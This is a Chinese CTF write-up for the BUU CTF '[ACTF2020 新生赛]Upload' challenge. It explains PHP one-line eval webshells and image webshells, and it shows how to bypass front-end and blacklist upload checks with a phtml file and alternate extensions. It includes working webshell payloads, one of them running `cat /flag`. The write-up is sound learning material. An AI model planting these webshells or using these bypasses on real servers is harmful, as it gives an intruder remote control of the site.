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前言前言

在BUU CTF做到一道题，[ACTF2020 新生赛]Upload 1。要求upload，这个时候应该想到是一句话木马的题目。在攻防世界的
web新手区中webshell也是一个一句话木马的题目。

一、什么是一、什么是webshell

https://blog.csdn.net/weixin_46685211
https://blog.csdn.net/weixin_46685211/category_11032232.html
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webshell是web入侵的脚本攻击工具。webshell就是一个asp或php木马后门，黑客在入侵了一个网站后，常常在将这些asp或php
木马后门文件放置在网站服务器的web目录中，与正常的网页文件混在一起。然后黑客就可以用web的方式，通过asp或php木马
后门控制网站服务器，包括上传下载文件、查看数据库、执行任意程序命令等。

web指的是在web服务器上，而shell是用脚本语言编写的脚本程序，webshell就是就是web的一个管理工具，可以对web服务器进
行操作的权限，也叫webadmin。通常被黑客利用，黑客通过一些上传方式，将自己编写的webshell上传到web服务器的页面的
目录下，然后通过页面访问的形式进行入侵，或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。

二、一句话木马二、一句话木马

1.基本原理基本原理

利用文件上传漏洞，往目标网站中上传一句话木马，然后你就可以通过中国蚁剑获取和控制整个网站目录。@表示后面即使执行
错误，也不报错。eval（）函数表示括号内的语句字符串什么的全都当做代码执行。

<?php @eval($_POST['cmd']); ?>

原理理解：相当于为中国蚁剑创建一个可以不断访问网站的门，蚁剑可以通过这个密码‘cmd’，传递一些可以为eval执行的字符
串代码，最终呈现的效果就是我们可以管理整个网站的文件。

2.上传文件到网站流程上传文件到网站流程



参考：https://blog.csdn.net/qq_43236906/article/details/109263653
重点是一个用于管理上传文件的php文档。

一般在这里会有对上传文件类型的过滤，这段代码中上传文件重复会返回提示，储存地址为添加了upload的路径，即upload的文
件夹。

这段代码暴露了上传文件储存的地址，就可采用蚁剑不断的访问这个文件，想网站提交数据。

3.语句解析语句解析

<?php @eval($_POST['cmd']); ?>



（1）@表示后续语句执行时不报错，否则因为变量没有定义会宝座
（2）$_POST[‘cmd’]表示cmd这个变量使用post的方式接收。（在firefox中使用hack的postdata选项传递数据。

post与get的数据提交方式是不同的。传输数据的两种方法，get、post，post是在消息体存放数据，get是在消息头的url路径里存放数据
（例如xxx.php?a=2）
（3）eval（）语句是将字符串当成代码执行，这样通过cmd上传的字符串就可以执行，蚁剑就是通过这个门对网站的权限进行获取。

4.入侵条件入侵条件

木马入侵成功条件木马入侵成功条件

（1）木马上传成功，未被杀；
（2）知道木马的路径在哪；
（3）上传的木马能正常运行。

一般来说，题目明确让你上传文件肯定就是上传一句话木马的文件，但是一般会与类型筛选的问题。或者是直接把后门给你，比

如说攻防世界的webshell题目。或者是允许你更改网站的某个asp/aspx/php文件。
绕过类型筛选就是为了能够成功上传木马。

除此之外还需要知道文件被上传到哪里去了，参考本段点2.中国蚁剑的URL得知是该有木马的文件所在绝对地址。

三、图片马三、图片马

将一句话木马加载到图片最后，构造图片马。

这个时候一句话木马存在于图片txt文档最后。但是图片马并不能直接与蚁剑连接，因为图片在网站中的解析格式不是php，蚁剑
不能通过这个后门干坏事。

需要使用文件包含漏洞（暂时没时间学了）

四、四、[ACTF2020 新生赛新生赛]Upload

1.思路思路

首先发现一个上传文件的地方，很明显是上传木马。

随便上传一个文件上去，发现报错要求上传文件的后缀符合要求。

方法一方法一 修改报文修改报文

抓包更改文件传入数据的文件类型。用于绕过前端验证。这种方法后续继续学习。

方法二方法二 文件名构造文件名构造



查看网站源代码，发现前端有一个文件筛查函数。（表征还可以是上传错误后缀的文件bp根本抓不到包）

在html文件中把该函数的调用删掉就可以上传不是图片类型的文件了。
然后可以尝试上传一个php文件，发现还是不行。说明后端也有筛选机制存在。
php常见后缀绕过,文件包含漏洞(绕过姿势)
文件后缀名绕过

前提：黑名单校验

黑名单检测：一般有个专门的 blacklist 文件，里面会包含常见的危险脚本文件。
绕过方法：

(1)找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类
(2)可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类
能被解析的文件扩展名列表（记得在蚁剑中选择）：

jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee

1、文件构造、文件构造

本题可以直接构造一个phtml文件，里面包含

GIF89a  
<script language='php'>@eval($_POST['ye']);</script>
<script language='php'>system('cat /flag');</script>

看上去是一个html的文件类型，这个也先挖个坑吧。第二句让flag直接回显。

2、抓包改文件类型、抓包改文件类型

https://blog.csdn.net/weixin_39623713/article/details/116041229?utm_term=php%25E4%25B8%258A%25E4%25BC%25A0%25E7%25BB%2595%25E8%25BF%2587%25E5%2590%258E%25E7%25BC%2580%25E6%25A3%2580%25E6%25B5%258B&utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-116041229&spm=3001.4430


首先还是先把前端的审查函数给删了，直接传一个php文件上去，抓包。

修改文件类型为phtml,上传成功。然后用蚁剑连一连就可以找到flag。
至于使用哪一种后缀进行绕过需要尝试，毕竟没有上帝视角。蚁剑里看到

常用的绕过后缀被禁了一大半。

最后找到。

参考参考



Web安全-一句话木马
WEB32：文件上传 (一句话木马，以及工具中国蚁剑用法)
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